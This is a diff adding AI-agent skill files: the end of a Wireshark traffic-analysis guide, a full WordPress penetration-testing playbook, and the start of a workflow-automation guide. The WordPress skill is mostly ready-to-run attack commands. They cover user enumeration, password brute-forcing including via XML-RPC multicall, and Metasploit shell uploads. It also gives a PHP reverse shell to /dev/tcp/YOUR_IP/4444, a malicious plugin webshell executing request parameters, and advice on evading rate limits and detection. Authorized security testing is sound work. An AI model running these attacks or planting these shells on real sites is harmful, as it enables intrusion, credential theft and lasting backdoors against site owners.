+| TLS Stream | Follow > TLS Stream | Encrypted traffic (if keys available) |
+
+#### Stream Analysis Tips
+- Review request/response pairs
+- Identify transmitted files or data
+- Look for credentials in plaintext
+- Note unusual patterns or commands
+
+### Phase 4: Statistical Analysis
+
+#### Protocol Hierarchy
+View protocol distribution:
+
+```
+Statistics > Protocol Hierarchy
+
+Shows:
+- Percentage of each protocol
+- Packet counts
+- Bytes transferred
+- Protocol breakdown tree
+```
+
+#### Conversations
+Analyze communication pairs:
+
+```
+Statistics > Conversations
+
+Tabs:
+- Ethernet: MAC address pairs
+- IPv4/IPv6: IP address pairs
+- TCP: Connection details (ports, bytes, packets)
+- UDP: Datagram exchanges
+```
+
+#### Endpoints
+View active network participants:
+
+```
+Statistics > Endpoints
+
+Shows:
+- All source/destination addresses
+- Packet and byte counts
+- Geographic information (if enabled)
+```
+
+#### Flow Graph
+Visualize packet sequence:
+
+```
+Statistics > Flow Graph
+
+Options:
+- All packets or displayed only
+- Standard or TCP flow
+- Shows packet timing and direction
+```
+
+#### I/O Graphs
+Plot traffic over time:
+
+```
+Statistics > I/O Graph
+
+Features:
+- Packets per second
+- Bytes per second
+- Custom filter graphs
+- Multiple graph overlays
+```
+
+### Phase 5: Security Analysis
+
+#### Detect Port Scanning
+Identify reconnaissance activity:
+
+```
+# SYN scan detection (many ports, same source)
+ip.src == SUSPECT_IP && tcp.flags.syn == 1
+
+# Review Statistics > Conversations for anomalies
+# Look for single source hitting many destination ports
+```
+
+#### Identify Suspicious Traffic
+Filter for anomalies:
+
+```
+# Traffic to unusual ports
+tcp.dstport > 1024 && tcp.dstport < 49152
+
+# Traffic outside trusted network
+!(ip.addr == 192.168.1.0/24)
+
+# Unusual DNS queries
+dns.qry.name contains "suspicious-domain"
+
+# Large data transfers
+frame.len > 1400
+```
+
+#### ARP Spoofing Detection
+Identify ARP attacks:
+
+```
+# Duplicate ARP responses
+arp.duplicate-address-frame
+
+# ARP traffic analysis
+arp
+
+# Look for:
+# - Multiple MACs for same IP
+# - Gratuitous ARP floods
+# - Unusual ARP patterns
+```
+
+#### Examine Downloads
+Analyze file transfers:
+
+```
+# HTTP file downloads
+http.request.method == "GET" && http contains "Content-Disposition"
+
+# Follow HTTP Stream to view file content
+# Use File > Export Objects > HTTP to extract files
+```
+
+#### DNS Analysis
+Investigate DNS activity:
+
+```
+# All DNS traffic
+dns
+
+# DNS queries only
+dns.flags.response == 0
+
+# DNS responses only
+dns.flags.response == 1
+
+# Failed DNS lookups
+dns.flags.rcode != 0
+
+# Specific domain queries
+dns.qry.name contains "domain.com"
+```
+
+### Phase 6: Expert Information
+
+#### Access Expert Analysis
+View Wireshark's automated findings:
+
+```
+Analyze > Expert Information
+
+Categories:
+- Errors: Critical issues
+- Warnings: Potential problems
+- Notes: Informational items
+- Chats: Normal conversation events
+```
+
+#### Common Expert Findings
+| Finding | Meaning | Action |
+|---------|---------|--------|
+| TCP Retransmission | Packet resent | Check for packet loss |
+| Duplicate ACK | Possible loss | Investigate network path |
+| Zero Window | Buffer full | Check receiver performance |
+| RST | Connection reset | Check for blocks/errors |
+| Out-of-Order | Packets reordered | Usually normal, excessive is issue |
+
+## Quick Reference
+
+### Keyboard Shortcuts
+| Action | Shortcut |
+|--------|----------|
+| Open file | Ctrl+O |
+| Save file | Ctrl+S |
+| Start/Stop capture | Ctrl+E |
+| Find packet | Ctrl+F |
+| Go to packet | Ctrl+G |
+| Next packet | ↓ |
+| Previous packet | ↑ |
+| First packet | Ctrl+Home |
+| Last packet | Ctrl+End |
+| Apply filter | Enter |
+| Clear filter | Ctrl+Shift+X |
+
+### Common Filter Reference
+```
+# Web traffic
+http || https
+
+# Email
+smtp || pop || imap
+
+# File sharing  
+smb || smb2 || ftp
+
+# Authentication
+ldap || kerberos
+
+# Network management
+snmp || icmp
+
+# Encrypted
+tls || ssl
+```
+
+### Export Options
+```
+File > Export Specified Packets    # Save filtered subset
+File > Export Objects > HTTP       # Extract HTTP files
+File > Export Packet Dissections   # Export as text/CSV
+```
+
+## Constraints and Guardrails
+
+### Operational Boundaries
+- Capture only authorized network traffic
+- Handle captured data according to privacy policies
+- Avoid capturing sensitive credentials unnecessarily
+- Properly secure PCAP files containing sensitive data
+
+### Technical Limitations
+- Large captures consume significant memory
+- Encrypted traffic content not visible without keys
+- High-speed networks may drop packets
+- Some protocols require plugins for full decoding
+
+### Best Practices
+- Use capture filters to limit data collection
+- Save captures regularly during long sessions
+- Use display filters rather than deleting packets
+- Document analysis findings and methodology
+
+## Examples
+
+### Example 1: HTTP Credential Analysis
+
+**Scenario**: Investigate potential plaintext credential transmission
+
+```
+1. Filter: http.request.method == "POST"
+2. Look for login forms
+3. Follow HTTP Stream
+4. Search for username/password parameters
+```
+
+**Finding**: Credentials transmitted in cleartext form data.
+
+### Example 2: Malware C2 Detection
+
+**Scenario**: Identify command and control traffic
+
+```
+1. Filter: dns
+2. Look for unusual query patterns
+3. Check for high-frequency beaconing
+4. Identify domains with random-looking names
+5. Filter: ip.dst == SUSPICIOUS_IP
+6. Analyze traffic patterns
+```
+
+**Indicators**:
+- Regular timing intervals
+- Encoded/encrypted payloads
+- Unusual ports or protocols
+
+### Example 3: Network Troubleshooting
+
+**Scenario**: Diagnose slow web application
+
+```
+1. Filter: ip.addr == WEB_SERVER
+2. Check Statistics > Service Response Time
+3. Filter: tcp.analysis.retransmission
+4. Review I/O Graph for patterns
+5. Check for high latency or packet loss
+```
+
+**Finding**: TCP retransmissions indicating network congestion.
+
+## Troubleshooting
+
+### No Packets Captured
+- Verify correct interface selected
+- Check for admin/root permissions
+- Confirm network adapter is active
+- Disable promiscuous mode if issues persist
+
+### Filter Not Working
+- Verify filter syntax (red = error)
+- Check for typos in field names
+- Use Expression button for valid fields
+- Clear filter and rebuild incrementally
+
+### Performance Issues
+- Use capture filters to limit traffic
+- Split large captures into smaller files
+- Disable name resolution during capture
+- Close unnecessary protocol dissectors
+
+### Cannot Decrypt TLS/SSL
+- Obtain server private key
+- Configure at Edit > Preferences > Protocols > TLS
+- For ephemeral keys, capture pre-master secret from browser
+- Some modern ciphers cannot be decrypted passively

skills/wordpress-penetration-testing/SKILL.md

@@ -0,0 +1,482 @@
+---
+name: WordPress Penetration Testing
+description: This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
+---
+
+# WordPress Penetration Testing
+
+## Purpose
+
+Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
+
+## Prerequisites
+
+### Required Tools
+- WPScan (pre-installed in Kali Linux)
+- Metasploit Framework
+- Burp Suite or OWASP ZAP
+- Nmap for initial discovery
+- cURL or wget
+
+### Required Knowledge
+- WordPress architecture and structure
+- Web application testing fundamentals
+- HTTP protocol understanding
+- Common web vulnerabilities (OWASP Top 10)
+
+## Outputs and Deliverables
+
+1. **WordPress Enumeration Report** - Version, themes, plugins, users
+2. **Vulnerability Assessment** - Identified CVEs and misconfigurations
+3. **Credential Assessment** - Weak password findings
+4. **Exploitation Proof** - Shell access documentation
+
+## Core Workflow
+
+### Phase 1: WordPress Discovery
+
+Identify WordPress installations:
+
+```bash
+# Check for WordPress indicators
+curl -s http://target.com | grep -i wordpress
+curl -s http://target.com | grep -i "wp-content"
+curl -s http://target.com | grep -i "wp-includes"
+
+# Check common WordPress paths
+curl -I http://target.com/wp-login.php
+curl -I http://target.com/wp-admin/
+curl -I http://target.com/wp-content/
+curl -I http://target.com/xmlrpc.php
+
+# Check meta generator tag
+curl -s http://target.com | grep "generator"
+
+# Nmap WordPress detection
+nmap -p 80,443 --script http-wordpress-enum target.com
+```
+
+Key WordPress files and directories:
+- `/wp-admin/` - Admin dashboard
+- `/wp-login.php` - Login page
+- `/wp-content/` - Themes, plugins, uploads
+- `/wp-includes/` - Core files
+- `/xmlrpc.php` - XML-RPC interface
+- `/wp-config.php` - Configuration (not accessible if secure)
+- `/readme.html` - Version information
+
+### Phase 2: Basic WPScan Enumeration
+
+Comprehensive WordPress scanning with WPScan:
+
+```bash
+# Basic scan
+wpscan --url http://target.com/wordpress/
+
+# With API token (for vulnerability data)
+wpscan --url http://target.com --api-token YOUR_API_TOKEN
+
+# Aggressive detection mode
+wpscan --url http://target.com --detection-mode aggressive
+
+# Output to file
+wpscan --url http://target.com -o results.txt
+
+# JSON output
+wpscan --url http://target.com -f json -o results.json
+
+# Verbose output
+wpscan --url http://target.com -v
+```
+
+### Phase 3: WordPress Version Detection
+
+Identify WordPress version:
+
+```bash
+# WPScan version detection
+wpscan --url http://target.com
+
+# Manual version checks
+curl -s http://target.com/readme.html | grep -i version
+curl -s http://target.com/feed/ | grep -i generator
+curl -s http://target.com | grep "?ver="
+
+# Check meta generator
+curl -s http://target.com | grep 'name="generator"'
+
+# Check RSS feeds
+curl -s http://target.com/feed/
+curl -s http://target.com/comments/feed/
+```
+
+Version sources:
+- Meta generator tag in HTML
+- readme.html file
+- RSS/Atom feeds
+- JavaScript/CSS file versions
+
+### Phase 4: Theme Enumeration
+
+Identify installed themes:
+
+```bash
+# Enumerate all themes
+wpscan --url http://target.com -e at
+
+# Enumerate vulnerable themes only
+wpscan --url http://target.com -e vt
+
+# Theme enumeration with detection mode
+wpscan --url http://target.com -e at --plugins-detection aggressive
+
+# Manual theme detection
+curl -s http://target.com | grep "wp-content/themes/"
+curl -s http://target.com/wp-content/themes/
+```
+
+Theme vulnerability checks:
+```bash
+# Search for theme exploits
+searchsploit wordpress theme <theme_name>
+
+# Check theme version
+curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
+curl -s http://target.com/wp-content/themes/<theme>/readme.txt
+```
+
+### Phase 5: Plugin Enumeration
+
+Identify installed plugins:
+
+```bash
+# Enumerate all plugins
+wpscan --url http://target.com -e ap
+
+# Enumerate vulnerable plugins only
+wpscan --url http://target.com -e vp
+
+# Aggressive plugin detection
+wpscan --url http://target.com -e ap --plugins-detection aggressive
+
+# Mixed detection mode
+wpscan --url http://target.com -e ap --plugins-detection mixed
+
+# Manual plugin discovery
+curl -s http://target.com | grep "wp-content/plugins/"
+curl -s http://target.com/wp-content/plugins/
+```
+
+Common vulnerable plugins to check:
+```bash
+# Search for plugin exploits
+searchsploit wordpress plugin <plugin_name>
+searchsploit wordpress mail-masta
+searchsploit wordpress slideshow gallery
+searchsploit wordpress reflex gallery
+
+# Check plugin version
+curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
+```
+
+### Phase 6: User Enumeration
+
+Discover WordPress users:
+
+```bash
+# WPScan user enumeration
+wpscan --url http://target.com -e u
+
+# Enumerate specific number of users
+wpscan --url http://target.com -e u1-100
+
+# Author ID enumeration (manual)
+for i in {1..20}; do
+    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
+done
+
+# JSON API user enumeration (if enabled)
+curl -s http://target.com/wp-json/wp/v2/users
+
+# REST API user enumeration
+curl -s http://target.com/wp-json/wp/v2/users?per_page=100
+
+# Login error enumeration
+curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
+```
+
+### Phase 7: Comprehensive Enumeration
+
+Run all enumeration modules:
+
+```bash
+# Enumerate everything
+wpscan --url http://target.com -e at -e ap -e u
+
+# Alternative comprehensive scan
+wpscan --url http://target.com -e vp,vt,u,cb,dbe
+
+# Enumeration flags:
+# at - All themes
+# vt - Vulnerable themes
+# ap - All plugins
+# vp - Vulnerable plugins
+# u  - Users (1-10)
+# cb - Config backups
+# dbe - Database exports
+
+# Full aggressive enumeration
+wpscan --url http://target.com -e at,ap,u,cb,dbe \
+    --detection-mode aggressive \
+    --plugins-detection aggressive
+```
+
+### Phase 8: Password Attacks
+
+Brute-force WordPress credentials:
+
+```bash
+# Single user brute-force
+wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
+
+# Multiple users from file
+wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
+
+# With password attack threads
+wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
+
+# XML-RPC brute-force (faster, may bypass protection)
+wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
+
+# Brute-force with API limiting
+wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
+
+# Create targeted wordlist
+cewl http://target.com -w wordlist.txt
+wpscan --url http://target.com -U admin -P wordlist.txt
+```
+
+Password attack methods:
+- `wp-login` - Standard login form
+- `xmlrpc` - XML-RPC multicall (faster)
+- `xmlrpc-multicall` - Multiple passwords per request
+
+### Phase 9: Vulnerability Exploitation
+
+#### Metasploit Shell Upload
+
+After obtaining credentials:
+
+```bash
+# Start Metasploit
+msfconsole
+
+# Admin shell upload
+use exploit/unix/webapp/wp_admin_shell_upload
+set RHOSTS target.com
+set USERNAME admin
+set PASSWORD jessica
+set TARGETURI /wordpress
+set LHOST <your_ip>
+exploit
+```
+
+#### Plugin Exploitation
+
+```bash
+# Slideshow Gallery exploit
+use exploit/unix/webapp/wp_slideshowgallery_upload
+set RHOSTS target.com
+set TARGETURI /wordpress
+set USERNAME admin
+set PASSWORD jessica
+set LHOST <your_ip>
+exploit
+
+# Search for WordPress exploits
+search type:exploit platform:php wordpress
+```
+
+#### Manual Exploitation
+
+Theme/plugin editor (with admin access):
+
+```php
+// Navigate to Appearance > Theme Editor
+// Edit 404.php or functions.php
+// Add PHP reverse shell:
+
+<?php
+exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
+?>
+
+// Or use weevely backdoor
+// Access via: http://target.com/wp-content/themes/theme_name/404.php
+```
+
+Plugin upload method:
+
+```bash
+# Create malicious plugin
+cat > malicious.php << 'EOF'
+<?php
+/*
+Plugin Name: Malicious Plugin
+Description: Security Testing
+Version: 1.0
+*/
+if(isset($_GET['cmd'])){
+    system($_GET['cmd']);
+}
+?>
+EOF
+
+# Zip and upload via Plugins > Add New > Upload Plugin
+zip malicious.zip malicious.php
+
+# Access webshell
+curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
+```
+
+### Phase 10: Advanced Techniques
+
+#### XML-RPC Exploitation
+
+```bash
+# Check if XML-RPC is enabled
+curl -X POST http://target.com/xmlrpc.php
+
+# List available methods
+curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
+
+# Brute-force via XML-RPC multicall
+cat > xmlrpc_brute.xml << 'EOF'
+<?xml version="1.0"?>
+<methodCall>
+<methodName>system.multicall</methodName>
+<params>
+<param><value><array><data>
+<value><struct>
+<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
+<member><name>params</name><value><array><data>
+<value><string>admin</string></value>
+<value><string>password1</string></value>
+</data></array></value></member>
+</struct></value>
+<value><struct>
+<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
+<member><name>params</name><value><array><data>
+<value><string>admin</string></value>
+<value><string>password2</string></value>
+</data></array></value></member>
+</struct></value>
+</data></array></value></param>
+</params>
+</methodCall>
+EOF
+
+curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
+```
+
+#### Scanning Through Proxy
+
+```bash
+# Use Tor proxy
+wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
+
+# HTTP proxy
+wpscan --url http://target.com --proxy http://127.0.0.1:8080
+
+# Burp Suite proxy
+wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
+```
+
+#### HTTP Authentication
+
+```bash
+# Basic authentication
+wpscan --url http://target.com --http-auth admin:password
+
+# Force SSL/TLS
+wpscan --url https://target.com --disable-tls-checks
+```
+
+## Quick Reference
+
+### WPScan Enumeration Flags
+
+| Flag | Description |
+|------|-------------|
+| `-e at` | All themes |
+| `-e vt` | Vulnerable themes |
+| `-e ap` | All plugins |
+| `-e vp` | Vulnerable plugins |
+| `-e u` | Users (1-10) |
+| `-e cb` | Config backups |
+| `-e dbe` | Database exports |
+
+### Common WordPress Paths
+
+| Path | Purpose |
+|------|---------|
+| `/wp-admin/` | Admin dashboard |
+| `/wp-login.php` | Login page |
+| `/wp-content/uploads/` | User uploads |
+| `/wp-includes/` | Core files |
+| `/xmlrpc.php` | XML-RPC API |
+| `/wp-json/` | REST API |
+
+### WPScan Command Examples
+
+| Purpose | Command |
+|---------|---------|
+| Basic scan | `wpscan --url http://target.com` |
+| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
+| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
+| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
+
+## Constraints and Limitations
+
+### Legal Considerations
+- Obtain written authorization before testing
+- Stay within defined scope
+- Document all testing activities
+- Follow responsible disclosure
+
+### Technical Limitations
+- WAF may block scanning
+- Rate limiting may prevent brute-force
+- Some plugins may have false negatives
+- XML-RPC may be disabled
+
+### Detection Evasion
+- Use random user agents: `--random-user-agent`
+- Throttle requests: `--throttle 1000`
+- Use proxy rotation
+- Avoid aggressive modes on monitored sites
+
+## Troubleshooting
+
+### WPScan Shows No Vulnerabilities
+
+**Solutions:**
+1. Use API token for vulnerability database
+2. Try aggressive detection mode
+3. Check for WAF blocking scans
+4. Verify WordPress is actually installed
+
+### Brute-Force Blocked
+
+**Solutions:**
+1. Use XML-RPC method instead of wp-login
+2. Add throttling: `--throttle 500`
+3. Use different user agents
+4. Check for IP blocking/fail2ban
+
+### Cannot Access Admin Panel
+
+**Solutions:**
+1. Verify credentials are correct
+2. Check for two-factor authentication
+3. Look for IP whitelist restrictions
+4. Check for login URL changes (security plugins)

skills/workflow-automation/SKILL.md

@@ -0,0 +1,705 @@
+---
+name: workflow-automation
+description: "Design and implement automated workflows combining visual logic with custom code. Create multi-step automations, integrate APIs, and build AI-native pipelines. Use when designing automation flows, integrating APIs, building event-driven systems, or creating LangChain-style AI workflows."
+---
+
+# 🔄 Workflow Automation
+
+> Patterns for building robust automated workflows, inspired by [n8n](https://github.com/n8n-io/n8n) and modern automation platforms.
+
+## When to Use This Skill
+
+Use this skill when:
+
+- Designing multi-step automation workflows
+- Integrating multiple APIs and services
+- Building event-driven systems
+- Creating AI-augmented pipelines
+- Handling errors in complex flows
+
+---
+
+## 1. Workflow Design Principles
+
+### 1.1 Core Concepts
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                      WORKFLOW                                │
+│  ┌────────┐    ┌────────┐    ┌────────┐    ┌────────┐      │
+│  │Trigger │───▶│  Node  │───▶│  Node  │───▶│ Action │      │
+│  └────────┘    └────────┘    └────────┘    └────────┘      │
+│       │              │              │              │        │
+│       ▼              ▼              ▼              ▼        │
+│  [Webhook]    [Transform]    [Condition]    [Send Email]   │
+└─────────────────────────────────────────────────────────────┘
+```
+
+**Key Components**:
+
+- **Trigger**: What starts the workflow
+- **Node**: Individual processing step
+- **Edge**: Connection between nodes
+- **Action**: External effect (API call, email, etc.)
+
+### 1.2 Trigger Types
+
+```javascript
+const TRIGGER_TYPES = {
+  // Event-based
+  webhook: {
+    description: "HTTP request triggers workflow",
+    use_case: "External integrations, form submissions",
+    example: "POST /webhook/order-created",
+  },
+
+  // Time-based
+  cron: {
+    description: "Scheduled execution",
+    use_case: "Reports, cleanup, sync jobs",
+    example: "0 9 * * *", // Daily at 9 AM
+  },
+
+  // Change-based
+  polling: {
+    description: "Check for changes periodically",
+    use_case: "Monitor RSS, check file changes",
+    example: "Every 5 minutes check for new items",
+  },
+
+  // Message-based
+  queue: {
+    description: "Process from message queue",
+    use_case: "Async processing, decoupling",
+    example: "SQS, RabbitMQ, Redis Streams",
+  },
+
+  // Manual
+  manual: {
+    description: "User-initiated execution",
+    use_case: "Testing, on-demand tasks",
+    example: "Run workflow button",
+  },
+};
+```
+
+### 1.3 Node Types
+
+```javascript
+const NODE_TYPES = {
+  // Data transformation
+  transform: {
+    description: "Modify data shape or values",
+    operations: ["map", "filter", "merge", "split"],
+  },
+
+  // Flow control
+  condition: {
+    description: "Branch based on logic",
+    operations: ["if/else", "switch", "filter"],
+  },
+
+  // External actions
+  action: {
+    description: "Interact with external services",
+    operations: ["HTTP request", "database", "email", "API"],
+  },
+
+  // Sub-workflows
+  subworkflow: {
+    description: "Call another workflow",
+    operations: ["invoke", "wait", "parallel"],
+  },
+
+  // Error handling
+  errorHandler: {
+    description: "Handle failures gracefully",
+    operations: ["retry", "fallback", "notify"],
+  },
+};
+```
+
+---
+
+## 2. Common Workflow Patterns
+
+### 2.1 Sequential Pipeline
+
+```javascript
+// Simple A → B → C flow
+const sequentialWorkflow = {
+  trigger: { type: "webhook", path: "/process" },
+  nodes: [
+    {
+      id: "fetch",
+      type: "http",
+      config: {
+        method: "GET",
+        url: "{{trigger.data.api_url}}",
+      },
+    },
+    {
+      id: "transform",
+      type: "code",
+      config: {
+        code: `
+          return items.map(item => ({
+            id: item.id,
+            name: item.name.toUpperCase(),
+            processed: true
+          }));
+        `,
+      },
+    },
+    {
+      id: "save",
+      type: "database",
+      config: {
+        operation: "insert",
+        table: "processed_items",
+        data: "{{transform.output}}",
+      },
+    },
+  ],
+};
+```
+
+### 2.2 Parallel Execution
+
+```javascript
+// Fan-out: Execute multiple nodes in parallel
+const parallelWorkflow = {
+  trigger: { type: "cron", schedule: "0 * * * *" },
+  nodes: [
+    {
+      id: "parallel_group",
+      type: "parallel",
+      nodes: [
+        {
+          id: "fetch_users",
+          type: "http",
+          config: { url: "/api/users" },
+        },
+        {
+          id: "fetch_orders",
+          type: "http",
+          config: { url: "/api/orders" },
+        },
+        {
+          id: "fetch_products",
+          type: "http",
+          config: { url: "/api/products" },
+        },
+      ],
+    },
+    {
+      id: "merge",
+      type: "merge",
+      config: {
+        method: "append", // or "combine", "zip"
+        inputs: ["fetch_users", "fetch_orders", "fetch_products"],
+      },
+    },
+  ],
+};
+```
+
+### 2.3 Conditional Branching
+
+```javascript
+const conditionalWorkflow = {
+  trigger: { type: "webhook", path: "/order" },
+  nodes: [
+    {
+      id: "check_value",
+      type: "switch",
+      config: {
+        property: "{{trigger.data.total}}",
+        rules: [
+          { operator: "gte", value: 1000, output: "high_value" },
+          { operator: "gte", value: 100, output: "medium_value" },
+          { operator: "lt", value: 100, output: "low_value" },
+        ],
+      },
+    },
+    {
+      id: "high_value",
+      type: "action",
+      onlyIf: "{{check_value.output}} === 'high_value'",
+      config: {
+        action: "notify_sales_team",
+      },
+    },
+    {
+      id: "medium_value",
+      type: "action",
+      onlyIf: "{{check_value.output}} === 'medium_value'",
+      config: {
+        action: "send_thank_you_email",
+      },
+    },
+    {
+      id: "low_value",
+      type: "action",
+      onlyIf: "{{check_value.output}} === 'low_value'",
+      config: {
+        action: "add_to_newsletter",
+      },
+    },
+  ],
+};
+```
+
+### 2.4 Loop/Iterator Pattern
+
+```javascript
+const loopWorkflow = {
+  trigger: { type: "manual" },
+  nodes: [
+    {
+      id: "fetch_items",
+      type: "http",
+      config: { url: "/api/items" },
+    },
+    {
+      id: "process_each",
+      type: "loop",
+      config: {
+        items: "{{fetch_items.data}}",
+        batchSize: 10, // Process 10 at a time
+        continueOnError: true,
+      },
+      nodes: [
+        {
+          id: "enrich",
+          type: "http",
+          config: {
+            url: "/api/enrich/{{item.id}}",
+          },
+        },
+        {
+          id: "save",
+          type: "database",
+          config: {
+            operation: "update",
+            id: "{{item.id}}",
+            data: "{{enrich.output}}",
+          },
+        },
+      ],
+    },
+  ],
+};
+```
+
+### 2.5 Wait/Delay Pattern
+
+```javascript
+const waitWorkflow = {
+  trigger: { type: "webhook", path: "/signup" },
+  nodes: [
+    {
+      id: "send_welcome",
+      type: "email",
+      config: {
+        to: "{{trigger.data.email}}",
+        template: "welcome",
+      },
+    },
+    {
+      id: "wait_24h",
+      type: "wait",
+      config: {
+        duration: "24h",
+        // Or: resumeAt: "{{trigger.data.preferred_time}}"
+      },
+    },
+    {
+      id: "send_onboarding",
+      type: "email",
+      config: {
+        to: "{{trigger.data.email}}",
+        template: "onboarding_tips",
+      },
+    },
+  ],
+};
+```
+
+---
+
+## 3. Error Handling Patterns
+
+### 3.1 Retry with Backoff
+
+```javascript
+const retryConfig = {
+  retries: 3,
+  backoff: "exponential", // linear, exponential, fixed
+  initialDelay: 1000, // ms
+  maxDelay: 30000, // ms
+  retryOn: ["ECONNRESET", "ETIMEDOUT", "HTTP_5XX"],
+};
+
+const nodeWithRetry = {
+  id: "api_call",
+  type: "http",
+  config: { url: "/api/external" },
+  errorHandling: {
+    retry: retryConfig,
+    onMaxRetries: {
+      action: "continue", // or "fail", "branch"
+      fallbackValue: { data: [] },
+    },
+  },
+};
+```
+
+### 3.2 Dead Letter Queue
+
+```javascript
+const workflowWithDLQ = {
+  config: {
+    onError: {
+      action: "send_to_dlq",
+      queue: "failed_workflows",
+      includeContext: true, // Include full workflow state
+    },
+  },
+  nodes: [
+    /* ... */
+  ],
+};
+
+// Separate workflow to process failed items
+const dlqProcessor = {
+  trigger: {
+    type: "queue",
+    queue: "failed_workflows",
+  },
+  nodes: [
+    {
+      id: "analyze",
+      type: "code",
+      config: {
+        code: `
+          const error = $input.error;
+          const context = $input.context;
+          
+          // Classify error
+          if (error.type === 'VALIDATION') {
+            return { action: 'discard', reason: 'Bad data' };
+          }
+          if (error.type === 'RATE_LIMIT') {
+            return { action: 'retry', delay: '1h' };
+          }
+          return { action: 'manual_review' };
+        `,
+      },
+    },
+  ],
+};
+```
+
+### 3.3 Compensation/Rollback
+
+```javascript
+const sagaWorkflow = {
+  name: "order_saga",
+  nodes: [
+    {
+      id: "reserve_inventory",
+      type: "api",
+      compensate: {
+        id: "release_inventory",
+        type: "api",
+        config: { method: "POST", url: "/inventory/release" },
+      },
+    },
+    {
+      id: "charge_payment",
+      type: "api",
+      compensate: {
+        id: "refund_payment",
+        type: "api",
+        config: { method: "POST", url: "/payments/refund" },
+      },
+    },
+    {
+      id: "create_shipment",
+      type: "api",
+      compensate: {
+        id: "cancel_shipment",
+        type: "api",
+        config: { method: "POST", url: "/shipments/cancel" },
+      },
+    },
+  ],
+  onError: {
+    strategy: "compensate_all", // Run all compensations in reverse order
+  },
+};
+```
+
+---
+
+## 4. Integration Patterns
+
+### 4.1 API Integration Template
+
+```javascript
+const apiIntegration = {
+  name: "github_integration",
+  baseUrl: "https://api.github.com",
+  auth: {
+    type: "bearer",
+    token: "{{secrets.GITHUB_TOKEN}}",
+  },
+  operations: {
+    listRepos: {
+      method: "GET",
+      path: "/user/repos",
+      params: {
+        per_page: 100,
+        sort: "updated",
+      },
+    },
+    createIssue: {
+      method: "POST",
+      path: "/repos/{{owner}}/{{repo}}/issues",
+      body: {
+        title: "{{title}}",
+        body: "{{body}}",
+        labels: "{{labels}}",
+      },
+    },
+  },
+  rateLimiting: {
+    requests: 5000,
+    period: "1h",
+    strategy: "queue", // queue, reject, throttle
+  },
+};
+```
+
+### 4.2 Webhook Handler
+
+```javascript
+const webhookHandler = {
+  trigger: {
+    type: "webhook",
+    path: "/webhooks/stripe",
+    method: "POST",
+    authentication: {
+      type: "signature",
+      header: "stripe-signature",
+      secret: "{{secrets.STRIPE_WEBHOOK_SECRET}}",
+      algorithm: "sha256",
+    },
+  },
+  nodes: [
+    {
+      id: "validate",
+      type: "code",
+      config: {
+        code: `
+          const event = $input.body;
+          if (!['checkout.session.completed', 
+                'payment_intent.succeeded'].includes(event.type)) {
+            return { skip: true };
+          }
+          return event;
+        `,
+      },
+    },
+    {
+      id: "route",
+      type: "switch",
+      config: {
+        property: "{{validate.type}}",
+        routes: {
+          "checkout.session.completed": "handle_checkout",
+          "payment_intent.succeeded": "handle_payment",
+        },
+      },
+    },
+  ],
+};
+```
+
+---
+
+## 5. AI-Native Workflows
+
+### 5.1 LLM in Pipeline
+
+```javascript
+const aiWorkflow = {
+  trigger: { type: "webhook", path: "/analyze" },
+  nodes: [
+    {
+      id: "extract_text",
+      type: "code",
+      config: {
+        code: "return { text: $input.document.content }",
+      },
+    },
+    {
+      id: "analyze_sentiment",
+      type: "llm",
+      config: {
+        model: "gpt-4",
+        prompt: `
+          Analyze the sentiment of the following text.
+          Return JSON: {"sentiment": "positive|negative|neutral", "confidence": 0-1}
+          
+          Text: {{extract_text.text}}
+        `,
+        responseFormat: "json",
+      },
+    },
+    {
+      id: "route_by_sentiment",
+      type: "switch",
+      config: {
+        property: "{{analyze_sentiment.sentiment}}",
+        routes: {
+          negative: "escalate_to_support",
+          positive: "send_thank_you",
+          neutral: "archive",
+        },
+      },
+    },
+  ],
+};
+```
+
+### 5.2 Agent Workflow
+
+```javascript
+const agentWorkflow = {
+  trigger: { type: "webhook", path: "/research" },
+  nodes: [
+    {
+      id: "research_agent",
+      type: "agent",
+      config: {
+        model: "gpt-4",
+        tools: ["web_search", "calculator", "code_interpreter"],
+        maxIterations: 10,
+        prompt: `
+          Research the following topic and provide a comprehensive summary:
+          {{trigger.topic}}
+          
+          Use the tools available to gather accurate, up-to-date information.
+        `,
+      },
+    },
+    {
+      id: "format_report",
+      type: "llm",
+      config: {
+        model: "gpt-4",
+        prompt: `
+          Format this research into a professional report with sections:
+          - Executive Summary
+          - Key Findings
+          - Recommendations
+          
+          Research: {{research_agent.output}}
+        `,
+      },
+    },
+    {
+      id: "send_report",
+      type: "email",
+      config: {
+        to: "{{trigger.email}}",
+        subject: "Research Report: {{trigger.topic}}",
+        body: "{{format_report.output}}",
+      },
+    },
+  ],
+};
+```
+
+---
+
+## 6. Workflow Best Practices
+
+### 6.1 Design Checklist
+
+- [ ] **Idempotency**: Can workflow run multiple times safely?
+- [ ] **Error handling**: What happens when nodes fail?
+- [ ] **Timeouts**: Are there appropriate timeouts?
